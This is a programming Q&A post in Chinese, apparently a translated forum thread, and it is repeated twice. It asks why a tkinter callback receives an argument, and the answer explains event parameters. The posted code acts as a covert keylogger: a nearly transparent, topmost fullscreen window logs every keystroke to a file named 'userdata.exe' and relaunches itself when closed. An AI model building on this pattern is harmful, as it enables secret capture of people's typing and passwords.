为什么我的函数接收参数?
Why is my function receiving an argument?
我有一个我一直在写的程序,但由于某种原因,on_closing
函数正在接收一个参数
代码:
from tkinter import *
from time import sleep
def run():
global root, target
target = open("userdata.exe", 'a')
root = Tk()
root.attributes("-fullscreen", True)
root.attributes('-alpha', 0.01)
root.attributes('-topmost', True)
def key(event):
target.write(repr(event.char)+" :")
frame = Frame(root, width=root.winfo_screenwidth(), height=root.winfo_screenwidth())
frame.bind("<Key>", key)
frame.bind("<1>", on_closing)
frame.pack()
root.protocol("WM_DELETE_WINDOW", on_closing)
root.mainloop()
def on_closing():
root.destroy()
sleep(10)
target.close()
run()
run()
知道为什么会发生这种情况吗?
将回调传递给某些软件(例如 tkinter
)时,您必须遵循该系统关于回调签名应该是什么的规则。当 tkinter
调用绑定方法时,它会传递一个 event
参数。参见 Events and Bindings
我有一个我一直在写的程序,但由于某种原因,on_closing
函数正在接收一个参数
代码:
from tkinter import *
from time import sleep
def run():
global root, target
target = open("userdata.exe", 'a')
root = Tk()
root.attributes("-fullscreen", True)
root.attributes('-alpha', 0.01)
root.attributes('-topmost', True)
def key(event):
target.write(repr(event.char)+" :")
frame = Frame(root, width=root.winfo_screenwidth(), height=root.winfo_screenwidth())
frame.bind("<Key>", key)
frame.bind("<1>", on_closing)
frame.pack()
root.protocol("WM_DELETE_WINDOW", on_closing)
root.mainloop()
def on_closing():
root.destroy()
sleep(10)
target.close()
run()
run()
知道为什么会发生这种情况吗?
将回调传递给某些软件(例如 tkinter
)时,您必须遵循该系统关于回调签名应该是什么的规则。当 tkinter
调用绑定方法时,它会传递一个 event
参数。参见 Events and Bindings